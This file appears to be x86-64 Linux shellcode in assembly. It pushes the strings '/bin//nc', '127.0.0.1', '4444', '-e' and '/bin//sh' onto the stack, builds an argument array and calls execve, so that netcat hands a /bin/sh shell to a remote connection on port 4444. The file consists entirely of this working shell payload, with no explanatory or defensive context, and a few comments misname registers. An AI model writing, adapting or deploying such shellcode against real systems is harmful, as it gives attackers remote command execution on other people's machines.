section .text
global _start

_start:
	xor ebx, ebx				; RBX = 0
	xor ecx, ecx				; RCX = 0
	mul ebx					; RAX, RDX = 0

	; Push "/bin//nc"
	push rax				; Push null terminator
	mov rdi, 0x636e2f2f6e69622f	        ; RDX = "/bin//nc"
	push rdi
	mov rdi, rsp				; RDI -> "/bin//nc"

	; Push "127.0.0.1"
	push rax				; Push null terminator
	mov dl, 0x31				; RDX = "1"
	push rdx
	mov rdx, 0x2e302e302e373231	        ; RDX = "127.0.0."
	push rdx
	mov rdx, rsp				; RDX -> "127.0.0.1"

	; Push "4444"
	push rax				; Push null terminator
	mov ebx, 0x34343434			; RBX = "4444"
	push rbx
	mov rbx, rsp				; RBX -> "4444"

	; Push "-e"
	push rax				; Push null terminator
	mov r11w, 0x652d			; R11 = "-e"
	push r11
	mov r11, rsp				; R11 -> "-e"

	; Push "/bin//sh"
	push rax				; Push null terminator
	mov r12, 0x68732f2f6e69622f	        ; R12 = "/bin//sh"
	push r12
	mov r12, rsp				; R12 -> "/bin//sh"

	; Build argv
	push rax				; Push null terminator
	push r12				; Push "/bin//sh"
	push r11				; Push "-e"
	push rbx				; Push "4444"
	push rdx				; Push "127.0.0.1"
	push rdi				; Push "/bin//nc"
	mov rsi, rsp				; RSI -> {"/bin//nc", "127.0.0.1", "4444", "-e", "/bin//sh"}

	; Execve syscall
	mov al, 0x3b				; RAX = 0x3b
	cdq					; RDX = 0
	syscall